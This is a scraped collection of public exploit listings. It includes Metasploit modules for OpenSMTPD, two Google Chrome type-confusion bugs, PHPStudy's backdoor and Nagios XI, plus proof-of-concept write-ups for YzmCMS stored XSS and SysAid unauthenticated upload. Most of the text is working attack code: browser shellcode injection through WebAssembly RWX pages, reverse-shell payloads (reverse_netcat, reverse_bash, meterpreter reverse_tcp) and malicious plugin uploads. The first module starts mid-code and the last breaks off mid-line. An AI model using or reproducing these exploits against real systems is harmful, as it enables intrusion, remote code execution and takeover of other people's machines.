https://github.com/openbsd/src/commit/e396a728fd79383b972631720cddc8e987806546 'Targets' => [ ['OpenSMTPD < 6.6.4 (automatic grammar selection)', patched_version: Gem::Version.new('6.6.4'), new_grammar_version: Gem::Version.new('6.4.0') ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'SRVPORT' => 25, 'PAYLOAD' => 'cmd/unix/reverse_netcat', 'WfsDelay' => 60 # May take a little while for mail to process }, 'Notes' => { 'Stability' => [CRASH_SERVICE_DOWN], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } )) register_advanced_options([ OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5]) ]) # HACK: We need to run check in order to determine a grammar to use options.remove_option('AutoCheck') end def srvhost_addr Rex::Socket.source_address(session.session_host) end def rcpt_to "#{rand_text_alpha_lower(8..42)}@[#{srvhost_addr}]" end def check smtpd_help = cmd_exec('smtpd -h') if smtpd_help.empty? return CheckCode::Unknown('smtpd(8) help could not be displayed') end version = smtpd_help.scan(/^version: OpenSMTPD ([\d.p]+)$/).flatten.first unless version return CheckCode::Unknown('OpenSMTPD version could not be found') end version = Gem::Version.new(version) if version < target[:patched_version] if version >= target[:new_grammar_version] vprint_status("OpenSMTPD #{version} is using new grammar") @grammar = :new else vprint_status("OpenSMTPD #{version} is using old grammar") @grammar = :old end return CheckCode::Appears( "OpenSMTPD #{version} appears vulnerable to CVE-2020-8794" ) end CheckCode::Safe("OpenSMTPD #{version} is NOT vulnerable to CVE-2020-8794") end def exploit # NOTE: Automatic check is implemented by the AutoCheck mixin super start_service sendmail = "/usr/sbin/sendmail '#{rcpt_to}' < /dev/null && echo true" print_status("Executing local sendmail(8) command: #{sendmail}") if cmd_exec(sendmail) != 'true' fail_with(Failure::Unknown, 'Could not send mail. Is OpenSMTPD running?') end end def on_client_connect(client) print_status("Client #{client.peerhost}:#{client.peerport} connected") # Brilliant work, Qualys! case @grammar when :new print_status('Exploiting new OpenSMTPD grammar for a root shell') yeet = <<~EOF 553- 553 dispatcher: local_mail type: mda mda-user: root mda-exec: #{payload.encoded}; exit 0\x00 EOF when :old print_status('Exploiting old OpenSMTPD grammar for a nobody shell') yeet = <<~EOF 553- 553 type: mda mda-method: mda mda-usertable: <getpwnam> mda-user: nobody mda-buffer: #{payload.encoded}; exit 0\x00 EOF else fail_with(Failure::BadConfig, 'Could not determine OpenSMTPD grammar') end sploit = { '220' => /EHLO /, '250' => /MAIL FROM:<[^>]/, yeet => nil } print_status('Faking SMTP server and sending exploit') sploit.each do |line, pattern| send_expect( line, pattern, sock: client, newline: "\r\n", timeout: datastore['ExpectTimeout'] ) end rescue Timeout::Error => e fail_with(Failure::TimeoutExpired, e.message) ensure print_status("Disconnecting client #{client.peerhost}:#{client.peerport}") client.close end def on_client_close(client) print_status("Client #{client.peerhost}:#{client.peerport} disconnected") end end
-
Google Chrome 80 - JSCreate Side-effect Type Confusion (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Post::File include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Google Chrome 80 JSCreate side-effect type confusion exploit', 'Description' => %q{ This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit corrupts the length of a float array (float_rel), which can then be used for out of bounds read and write on adjacent memory. The relative read and write is then used to modify a UInt64Array (uint64_aarw) which is used for read and writing from absolute memory. The exploit then uses WebAssembly in order to allocate a region of RWX memory, which is then replaced with the payload shellcode. The payload is executed within the sandboxed renderer process, so the browser must be run with the --no-sandbox option for the payload to work correctly. }, 'License' => MSF_LICENSE, 'Author' => [ 'Clément Lecigne', # discovery 'István Kurucsai', # exploit 'Vignesh S Rao', # exploit 'timwr', # metasploit copypasta ], 'References' => [ ['CVE', '2020-6418'], ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1053604'], ['URL', 'https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping'], ['URL', 'https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90'], ], 'Arch' => [ ARCH_X64 ], 'DefaultTarget' => 0, 'Targets' => [ ['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'win'}], ['macOS - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'osx'}], ], 'DisclosureDate' => 'Feb 19 2020')) register_advanced_options([ OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]), ]) end def on_request_uri(cli, request) if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} print_status("[*] #{request.body}") send_response(cli, '') return end print_status("Sending #{request.uri} to #{request['User-Agent']}") escaped_payload = Rex::Text.to_unescape(payload.raw) jscript = %Q^ var shellcode = unescape("#{escaped_payload}"); // HELPER FUNCTIONS let conversion_buffer = new ArrayBuffer(8); let float_view = new Float64Array(conversion_buffer); let int_view = new BigUint64Array(conversion_buffer); BigInt.prototype.hex = function() { return '0x' + this.toString(16); }; BigInt.prototype.i2f = function() { int_view[0] = this; return float_view[0]; } BigInt.prototype.smi2f = function() { int_view[0] = this << 32n; return float_view[0]; } Number.prototype.f2i = function() { float_view[0] = this; return int_view[0]; } Number.prototype.f2smi = function() { float_view[0] = this; return int_view[0] >> 32n; } Number.prototype.fhw = function() { float_view[0] = this; return int_view[0] >> 32n; } Number.prototype.flw = function() { float_view[0] = this; return int_view[0] & BigInt(2**32-1); } Number.prototype.i2f = function() { return BigInt(this).i2f(); } Number.prototype.smi2f = function() { return BigInt(this).smi2f(); } function hex(a) { return a.toString(16); } // // EXPLOIT // // the number of holes here determines the OOB write offset let vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1]; var float_rel; // float array, initially corruption target var float_carw; // float array, used for reads/writes within the compressed heap var uint64_aarw; // uint64 typed array, used for absolute reads/writes in the entire address space var obj_leaker; // used to implement addrof vuln.pop(); vuln.pop(); vuln.pop(); function empty() {} function f(nt) { // The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05); for (var i = 0; i < 0x10000; ++i) {}; } let p = new Proxy(Object, { get: function() { vuln[0] = {}; float_rel = [0.2, 1.2, 2.2, 3.2, 4.3]; float_carw = [6.6]; uint64_aarw = new BigUint64Array(4); obj_leaker = { a: float_rel, b: float_rel, }; return Object.prototype; } }); function main(o) { for (var i = 0; i < 0x10000; ++i) {}; return f(o); } // reads 4 bytes from the compressed heap at the specified dword offset after float_rel function crel_read4(offset) { var qw_offset = Math.floor(offset / 2); if (offset & 1 == 1) { return float_rel[qw_offset].fhw(); } else { return float_rel[qw_offset].flw(); } } // writes the specified 4-byte BigInt value to the compressed heap at the specified offset after float_rel function crel_write4(offset, val) { var qw_offset = Math.floor(offset / 2); // we are writing an 8-byte double under the hood // read out the other half and keep its value if (offset & 1 == 1) { temp = float_rel[qw_offset].flw(); new_val = (val << 32n | temp).i2f(); float_rel[qw_offset] = new_val; } else { temp = float_rel[qw_offset].fhw(); new_val = (temp << 32n | val).i2f(); float_rel[qw_offset] = new_val; } } const float_carw_elements_offset = 0x14; function cabs_read4(caddr) { elements_addr = caddr - 8n | 1n; crel_write4(float_carw_elements_offset, elements_addr); print('cabs_read4: ' + hex(float_carw[0].f2i())); res = float_carw[0].flw(); // TODO restore elements ptr return res; } // This function provides arbitrary within read the compressed heap function cabs_read8(caddr) { elements_addr = caddr - 8n | 1n; crel_write4(float_carw_elements_offset, elements_addr); print('cabs_read8: ' + hex(float_carw[0].f2i())); res = float_carw[0].f2i(); // TODO restore elements ptr return res; } // This function provides arbitrary write within the compressed heap function cabs_write4(caddr, val) { elements_addr = caddr - 8n | 1n; temp = cabs_read4(caddr + 4n | 1n); print('cabs_write4 temp: '+ hex(temp)); new_val = (temp << 32n | val).i2f(); crel_write4(float_carw_elements_offset, elements_addr); print('cabs_write4 prev_val: '+ hex(float_carw[0].f2i())); float_carw[0] = new_val; // TODO restore elements ptr return res; } const objleaker_offset = 0x41; function addrof(o) { obj_leaker.b = o; addr = crel_read4(objleaker_offset) & BigInt(2**32-2); obj_leaker.b = {}; return addr; } const uint64_externalptr_offset = 0x1b; // in 8-bytes // Arbitrary read. We corrupt the backing store of the `uint64_aarw` array and then read from the array function read8(addr) { faddr = addr.i2f(); t1 = float_rel[uint64_externalptr_offset]; t2 = float_rel[uint64_externalptr_offset + 1]; float_rel[uint64_externalptr_offset] = faddr; float_rel[uint64_externalptr_offset + 1] = 0.0; val = uint64_aarw[0]; float_rel[uint64_externalptr_offset] = t1; float_rel[uint64_externalptr_offset + 1] = t2; return val; } // Arbitrary write. We corrupt the backing store of the `uint64_aarw` array and then write into the array function write8(addr, val) { faddr = addr.i2f(); t1 = float_rel[uint64_externalptr_offset]; t2 = float_rel[uint64_externalptr_offset + 1]; float_rel[uint64_externalptr_offset] = faddr; float_rel[uint64_externalptr_offset + 1] = 0.0; uint64_aarw[0] = val; float_rel[uint64_externalptr_offset] = t1; float_rel[uint64_externalptr_offset + 1] = t2; return val; } // Given an array of bigints, this will write all the elements to the address provided as argument function writeShellcode(addr, sc) { faddr = addr.i2f(); t1 = float_rel[uint64_externalptr_offset]; t2 = float_rel[uint64_externalptr_offset + 1]; float_rel[uint64_externalptr_offset - 1] = 10; float_rel[uint64_externalptr_offset] = faddr; float_rel[uint64_externalptr_offset + 1] = 0.0; for (var i = 0; i < sc.length; ++i) { uint64_aarw[i] = sc[i] } float_rel[uint64_externalptr_offset] = t1; float_rel[uint64_externalptr_offset + 1] = t2; } function get_compressed_rw() { for (var i = 0; i < 0x10000; ++i) {empty();} main(empty); main(empty); // Function would be jit compiled now. main(p); print(`Corrupted length of float_rel array = ${float_rel.length}`); } function get_arw() { get_compressed_rw(); print('should be 0x2: ' + hex(crel_read4(0x15))); let previous_elements = crel_read4(0x14); //print(hex(previous_elements)); //print(hex(cabs_read4(previous_elements))); //print(hex(cabs_read4(previous_elements + 4n))); cabs_write4(previous_elements, 0x66554433n); //print(hex(cabs_read4(previous_elements))); //print(hex(cabs_read4(previous_elements + 4n))); print('addrof(float_rel): ' + hex(addrof(float_rel))); uint64_aarw[0] = 0x4142434445464748n; } function rce() { function get_wasm_func() { var importObject = { imports: { imported_func: arg => print(arg) } }; bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb]; wasm_code = new Uint8Array(bc); wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject); return wasm_mod.exports.exported_func; } let wasm_func = get_wasm_func(); // traverse the JSFunction object chain to find the RWX WebAssembly code page let wasm_func_addr = addrof(wasm_func); let sfi = cabs_read4(wasm_func_addr + 12n) - 1n; print('sfi: ' + hex(sfi)); let WasmExportedFunctionData = cabs_read4(sfi + 4n) - 1n; print('WasmExportedFunctionData: ' + hex(WasmExportedFunctionData)); let instance = cabs_read4(WasmExportedFunctionData + 8n) - 1n; print('instance: ' + hex(instance)); let wasm_rwx_addr = cabs_read8(instance + 0x68n); print('wasm_rwx_addr: ' + hex(wasm_rwx_addr)); // write the shellcode to the RWX page while(shellcode.length % 4 != 0){ shellcode += "\u9090"; } let sc = []; // convert the shellcode to BigInt for (let i = 0; i < shellcode.length; i += 4) { sc.push(BigInt(shellcode.charCodeAt(i)) + BigInt(shellcode.charCodeAt(i + 1) * 0x10000) + BigInt(shellcode.charCodeAt(i + 2) * 0x100000000) + BigInt(shellcode.charCodeAt(i + 3) * 0x1000000000000)); } writeShellcode(wasm_rwx_addr,sc); print('success'); wasm_func(); } function exp() { get_arw(); rce(); } exp(); ^ if datastore['DEBUG_EXPLOIT'] debugjs = %Q^ print = function(arg) { var request = new XMLHttpRequest(); request.open("POST", "/print", false); request.send("" + arg); }; ^ jscript = "#{debugjs}#{jscript}" else jscript.gsub!(/\/\/.*$/, '') # strip comments jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); end html = %Q^ <html> <head> <script> #{jscript} </script> </head> <body> </body> </html> ^ send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'}) end end
-
Google Chrome 67, 68 and 69 - Object.create Type Confusion (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpServer def initialize(info = {}) super(update_info(info, 'Name' => 'Google Chrome 67, 68 and 69 Object.create exploit', 'Description' => %q{ This modules exploits a type confusion in Google Chromes JIT compiler. The Object.create operation can be used to cause a type confusion between a PropertyArray and a NameDictionary. The payload is executed within the rwx region of the sandboxed renderer process, so the browser must be run with the --no-sandbox option for the payload to work. }, 'License' => MSF_LICENSE, 'Author' => [ 'saelo', # discovery and exploit 'timwr', # metasploit module ], 'References' => [ ['CVE', '2018-17463'], ['URL', 'http://www.phrack.org/papers/jit_exploitation.html'], ['URL', 'https://ssd-disclosure.com/archives/3783/ssd-advisory-chrome-type-confusion-in-jscreateobject-operation-to-rce'], ['URL', 'https://saelo.github.io/presentations/blackhat_us_18_attacking_client_side_jit_compilers.pdf'], ['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=888923'], ], 'Arch' => [ ARCH_X64 ], 'Platform' => ['windows', 'osx'], 'DefaultTarget' => 0, 'Targets' => [ [ 'Automatic', { } ] ], 'DisclosureDate' => 'Sep 25 2018')) register_advanced_options([ OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]), ]) end def on_request_uri(cli, request) if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*} print_status("[*] " + request.body) send_response(cli, '') return end print_status("Sending #{request.uri} to #{request['User-Agent']}") jscript = %Q^ let shellcode = new Uint8Array([#{Rex::Text::to_num(payload.encoded)}]); let ab = new ArrayBuffer(8); let floatView = new Float64Array(ab); let uint64View = new BigUint64Array(ab); let uint8View = new Uint8Array(ab); Number.prototype.toBigInt = function toBigInt() { floatView[0] = this; return uint64View[0]; }; BigInt.prototype.toNumber = function toNumber() { uint64View[0] = this; return floatView[0]; }; function hex(n) { return '0x' + n.toString(16); }; function fail(s) { print('FAIL ' + s); throw null; } const NUM_PROPERTIES = 32; const MAX_ITERATIONS = 100000; function gc() { for (let i = 0; i < 200; i++) { new ArrayBuffer(0x100000); } } function make(properties) { let o = {inline: 42} // TODO for (let i = 0; i < NUM_PROPERTIES; i++) { eval(`o.p${i} = properties[${i}];`); } return o; } function pwn() { function find_overlapping_properties() { let propertyNames = []; for (let i = 0; i < NUM_PROPERTIES; i++) { propertyNames[i] = `p${i}`; } eval(` function vuln(o) { let a = o.inline; this.Object.create(o); ${propertyNames.map((p) => `let ${p} = o.${p};`).join('\\n')} return [${propertyNames.join(', ')}]; } `); let propertyValues = []; for (let i = 1; i < NUM_PROPERTIES; i++) { propertyValues[i] = -i; } for (let i = 0; i < MAX_ITERATIONS; i++) { let r = vuln(make(propertyValues)); if (r[1] !== -1) { for (let i = 1; i < r.length; i++) { if (i !== -r[i] && r[i] < 0 && r[i] > -NUM_PROPERTIES) { return [i, -r[i]]; } } } } fail("Failed to find overlapping properties"); } function addrof(obj) { eval(` function vuln(o) { let a = o.inline; this.Object.create(o); return o.p${p1}.x1; } `); let propertyValues = []; propertyValues[p1] = {x1: 13.37, x2: 13.38}; propertyValues[p2] = {y1: obj}; let i = 0; for (; i < MAX_ITERATIONS; i++) { let res = vuln(make(propertyValues)); if (res !== 13.37) return res.toBigInt() } fail("Addrof failed"); } function corrupt_arraybuffer(victim, newValue) { eval(` function vuln(o) { let a = o.inline; this.Object.create(o); let orig = o.p${p1}.x2; o.p${p1}.x2 = ${newValue.toNumber()}; return orig; } `); let propertyValues = []; let o = {x1: 13.37, x2: 13.38}; propertyValues[p1] = o; propertyValues[p2] = victim; for (let i = 0; i < MAX_ITERATIONS; i++) { o.x2 = 13.38; let r = vuln(make(propertyValues)); if (r !== 13.38) return r.toBigInt(); } fail("Corrupt ArrayBuffer failed"); } let [p1, p2] = find_overlapping_properties(); print(`Properties p${p1} and p${p2} overlap after conversion to dictionary mode`); let memview_buf = new ArrayBuffer(1024); let driver_buf = new ArrayBuffer(1024); gc(); let memview_buf_addr = addrof(memview_buf); memview_buf_addr--; print(`ArrayBuffer @ ${hex(memview_buf_addr)}`); let original_driver_buf_ptr = corrupt_arraybuffer(driver_buf, memview_buf_addr); let driver = new BigUint64Array(driver_buf); let original_memview_buf_ptr = driver[4]; let memory = { write(addr, bytes) { driver[4] = addr; let memview = new Uint8Array(memview_buf); memview.set(bytes); }, read(addr, len) { driver[4] = addr; let memview = new Uint8Array(memview_buf); return memview.subarray(0, len); }, readPtr(addr) { driver[4] = addr; let memview = new BigUint64Array(memview_buf); return memview[0]; }, writePtr(addr, ptr) { driver[4] = addr; let memview = new BigUint64Array(memview_buf); memview[0] = ptr; }, addrof(obj) { memview_buf.leakMe = obj; let props = this.readPtr(memview_buf_addr + 8n); return this.readPtr(props + 15n) - 1n; }, }; // Generate a RWX region for the payload function get_wasm_instance() { var buffer = new Uint8Array([ 0,97,115,109,1,0,0,0,1,132,128,128,128,0,1,96,0,0,3,130,128,128,128,0, 1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128, 128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,104, 101,108,108,111,0,0,10,136,128,128,128,0,1,130,128,128,128,0,0,11 ]); return new WebAssembly.Instance(new WebAssembly.Module(buffer),{}); } let wasm_instance = get_wasm_instance(); let wasm_addr = memory.addrof(wasm_instance); print("wasm_addr @ " + hex(wasm_addr)); let wasm_rwx_addr = memory.readPtr(wasm_addr + 0xe0n); print("wasm_rwx @ " + hex(wasm_rwx_addr)); memory.write(wasm_rwx_addr, shellcode); let fake_vtab = new ArrayBuffer(0x80); let fake_vtab_u64 = new BigUint64Array(fake_vtab); let fake_vtab_addr = memory.readPtr(memory.addrof(fake_vtab) + 0x20n); let div = document.createElement('div'); let div_addr = memory.addrof(div); print('div_addr @ ' + hex(div_addr)); let el_addr = memory.readPtr(div_addr + 0x20n); print('el_addr @ ' + hex(div_addr)); fake_vtab_u64.fill(wasm_rwx_addr, 6, 10); memory.writePtr(el_addr, fake_vtab_addr); print('Triggering...'); // Trigger virtual call div.dispatchEvent(new Event('click')); // We are done here, repair the corrupted array buffers let addr = memory.addrof(driver_buf); memory.writePtr(addr + 32n, original_driver_buf_ptr); memory.writePtr(memview_buf_addr + 32n, original_memview_buf_ptr); } pwn(); ^ if datastore['DEBUG_EXPLOIT'] debugjs = %Q^ print = function(arg) { var request = new XMLHttpRequest(); request.open("POST", "/print", false); request.send("" + arg); }; ^ jscript = "#{debugjs}#{jscript}" else jscript.gsub!(/\/\/.*$/, '') # strip comments jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*); end html = %Q^ <html> <head> <script> #{jscript} </script> </head> <body> </body> </html> ^ send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'}) end end
-
YzmCMS 5.5 - 'url' Persistent Cross-Site Scripting
# Exploit Title: YzmCMS 5.5 - 'url' Persistent Cross-Site Scripting # Google Dork: N/A # Date: 2020-03-10 # Exploit Author: En # Vendor Homepage: https://github.com/yzmcms/yzmcms # Software Link: https://github.com/yzmcms/yzmcms # Version: V5.5 # Category: Web Application # Patched Version: unpatched # Tested on: Win10x64 # Platform: PHP # CVE : N/A #Exploit Author: En_dust #Description: #The add function defined in the Application/link/controller/link.class.php file does not filter the ‘url’ parameter, causing malicious code to be executed. #PoC: POST /yzmcms/link/link/add.html HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://127.0.0.1/yzmcms/link/link/add.html Content-Length: 130 Cookie: CNZZDATA1261218610=2106045875-1559549499-%7C1569374982; PHPSESSID=fr095t87brjfc0l7d7sgj8oml4; yzmphp_adminid=45dfDWXXjGQg2Ce7Yg7oJZbld7iy8SN43sy2SKjq; yzmphp_adminname=7e49R0HXcjLHqBu5wgd9vXbD_D-Bq3Uq8TLw5UNpi8lIAw DNT: 1 Connection: close name=evalWebsite&url=javascript%3Aalert(%2FXSS%2F)&username=&email=&linktype=0&logo=&typeid=0&msg=&listorder=1&status=1&dosubmit=1
-
Sysaid 20.1.11 b26 - Remote Command Execution
# Exploit Title: Sysaid 20.1.11 b26 - Remote Command Execution # Google Dork: intext:"Help Desk Software by SysAid <http://www.sysaid.com/>" # Date: 2020-03-09 # Exploit Author: Ahmed Sherif # Vendor Homepage: https://www.sysaid.com/free-help-desk-software # Software Link: [https://www.sysaid.com/free-help-desk-software # Version: Sysaid v20.1.11 b26 # Tested on: Windows Server 2016 # CVE : None GhostCat Attack The default installation of Sysaid is enabling the exposure of AJP13 protocol which is used by tomcat instance, this vulnerability has been released recently on different blogposts <https://www.zdnet.com/article/ghostcat-bug-impacts-all-apache-tomcat-versions-released-in-the-last-13-years/>. *Proof-of-Concept* [image: image.png] The attacker would be able to exploit the vulnerability and read the Web.XML of Sysaid. Unauthenticated File Upload It was found on the Sysaid application that an attacker would be able to upload files without authenticated by directly access the below link: http://REDACTED:8080/UploadIcon.jsp?uploadChatFile=true&parent= In the above screenshot, it shows that an attacker can execute commands in the system without any prior authentication to the system.
-
PHPStudy - Backdoor Remote Code execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "PHPStudy Backdoor Remote Code execution", 'Description' => %q{ This module can detect and exploit the backdoor of PHPStudy. }, 'License' => MSF_LICENSE, 'Author' => [ 'Dimensional', #POC 'Airevan' #Metasploit Module ], 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['PHPStudy 2016-2018', {}] ], 'References' => [ ['URL', 'https://programmer.group/using-ghidra-to-analyze-the-back-door-of-phpstudy.html'] ], 'Privileged' => false, 'DisclosureDate' => "Sep 20 2019", 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The base path', '/']) ]) end def check uri = target_uri.path fingerprint = Rex::Text.rand_text_alpha(8) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'index.php'), 'headers' => { 'Accept-Encoding' => 'gzip,deflate', 'Accept-Charset' => Rex::Text.encode_base64("echo '#{fingerprint}';") } }) if res && res.code == 200 && res.body.to_s.include?(fingerprint) return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit uri = target_uri.path print_good("Sending shellcode") res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(uri, 'index.php'), 'headers' => { 'Accept-Encoding' => 'gzip,deflate', 'Accept-Charset' => Rex::Text.encode_base64(payload.encoded) } }) end end
-
Nagios XI - Authenticated Remote Command Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Nagios XI Authenticated Remote Command Execution', 'Description' => %q{ This module exploits a vulnerability in Nagios XI before 5.6.6 in order to execute arbitrary commands as root. The module uploads a malicious plugin to the Nagios XI server and then executes this plugin by issuing an HTTP GET request to download a system profile from the server. For all supported targets except Linux (cmd), the module uses a command stager to write the exploit to the target via the malicious plugin. This may not work if Nagios XI is running in a restricted Unix environment, so in that case the target must be set to Linux (cmd). The module then writes the payload to the malicious plugin while avoiding commands that may not be supported. Valid credentials for a user with administrative privileges are required. This module was successfully tested on Nagios XI 5.6.5 running on CentOS 7. The module may behave differently against older versions of Nagios XI. See the documentation for more information. }, 'License' => MSF_LICENSE, 'Author' => [ 'Jak Gibb', # https://github.com/jakgibb/ - Discovery and exploit 'Erik Wynter' # @wyntererik - Metasploit ], 'References' => [ ['CVE', '2019-15949'], ['URL', 'https://github.com/jakgibb/nagiosxi-root-rce-exploit'] #original PHP exploit ], 'Payload' => { 'BadChars' => "\x00" }, 'Targets' => [ [ 'Linux (x86)', { 'Arch' => ARCH_X86, 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' } } ], [ 'Linux (x64)', { 'Arch' => ARCH_X64, 'Platform' => 'linux', 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Linux (cmd)', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }, 'Payload' => { 'Append' => ' & disown', # the payload must be disowned after execution, otherwise cleanup fails 'BadChars' => "\"" } } ] ], 'Privileged' => true, 'DisclosureDate' => 'Jul 29 2019', 'DefaultOptions' => { 'RPORT' => 80, 'HttpClientTimeout' => 2, #This is needed to close the connection to the server following the system profile download request. 'WfsDelay' => 10 }, 'DefaultTarget' => 1)) register_options [ OptString.new('TARGETURI', [true, 'Base path to NagiosXI', '/']), OptString.new('USERNAME', [true, 'Username to authenticate with', 'nagiosadmin']), OptString.new('PASSWORD', [true, 'Password to authenticate with', '']) ] register_advanced_options [ OptBool.new('ForceExploit', [false, 'Override check result', false]) ] import_target_defaults end def check vprint_status("Running check") #visit Nagios XI login page to obtain the nsp value required for authentication res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '/nagiosxi/login.php') unless res return CheckCode::Unknown('Connection failed') end unless res.code == 200 && res.body.include?('Nagios XI') return CheckCode::Safe('Target is not a Nagios XI application.') end @nsp = res.body.scan(/nsp_str = "([a-z0-9]+)/).flatten.first rescue '' if @nsp.to_s.eql? '' return CheckCode::NoAccess, 'Could not retrieve nsp value, making authentication impossible.' end #Attempt to authenticate @username = datastore['USERNAME'] password = datastore['PASSWORD'] cookie = res.get_cookies.delete_suffix(';') #remove trailing semi-colon auth_res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/nagiosxi/login.php'), 'method' => 'POST', 'cookie' => cookie, 'vars_post' => { nsp: @nsp, page: 'auth', debug: '', pageopt: 'login', username: @username, password: password, loginButton: '' } }) unless auth_res fail_with Failure::Unreachable, 'Connection failed' end unless auth_res.code == 302 && auth_res.headers['Location'] == "index.php" fail_with Failure::NoAccess, 'Authentication failed. Please provide a valid username and password.' end #Check Nagios XI version - this requires a separate request because following the redirect doesn't work @cookie = auth_res.get_cookies.delete_suffix(';') #remove trailing semi-colon @cookie = @cookie.split().last #app returns 3 cookies, we need only the last one version_check = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/nagiosxi/index.php'), 'method' => 'GET', 'cookie' => @cookie, 'nsp' => @nsp }) unless version_check fail_with Failure::Unreachable, 'Connection failed' end unless version_check.code == 200 && version_check.body.include?('Home Dashboard') fail_with Failure::NoAccess, 'Authentication failed. Please provide a valid username and password.' end @version = version_check.body.scan(/product=nagiosxi&version=(\d+\.\d+\.\d+)/).flatten.first rescue '' if @version.to_s.eql? '' return CheckCode::Detected('Could not determine Nagios XI version.') end @version = Gem::Version.new @version unless @version <= Gem::Version.new('5.6.5') return CheckCode::Safe("Target is Nagios XI with version #{@version}.") end CheckCode::Appears("Target is Nagios XI with version #{@version}.") end def check_plugin_permissions res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/nagiosxi/admin/monitoringplugins.php'), 'method' => 'GET', 'cookie' => @cookie, 'nsp' => @nsp }) unless res fail_with Failure::Unreachable, 'Connection failed' end unless res.code == 200 && res.body.include?('Manage Plugins') fail_with(Failure::NoAccess, "The user #{@username} does not have permission to edit plugins, which is required for the exploit to work.") end @plugin_nsp = res.body.scan(/nsp_str = "([a-z0-9]+)/).flatten.first rescue '' if @plugin_nsp.to_s.eql? '' fail_with Failure::NoAccess, 'Failed to obtain the nsp value required for the exploit to work.' end @plugin_cookie = res.get_cookies.delete_suffix(';') #remove trailing semi-colon end def execute_command(cmd, opts = {}) print_status("Uploading malicious 'check_ping' plugin...") boundary = rand_text_numeric(14) post_data = "-----------------------------#{boundary}\n" post_data << "Content-Disposition: form-data; name=\"upload\"\n\n1\n" post_data << "-----------------------------#{boundary}\n" post_data << "Content-Disposition: form-data; name=\"nsp\"\n\n" post_data << 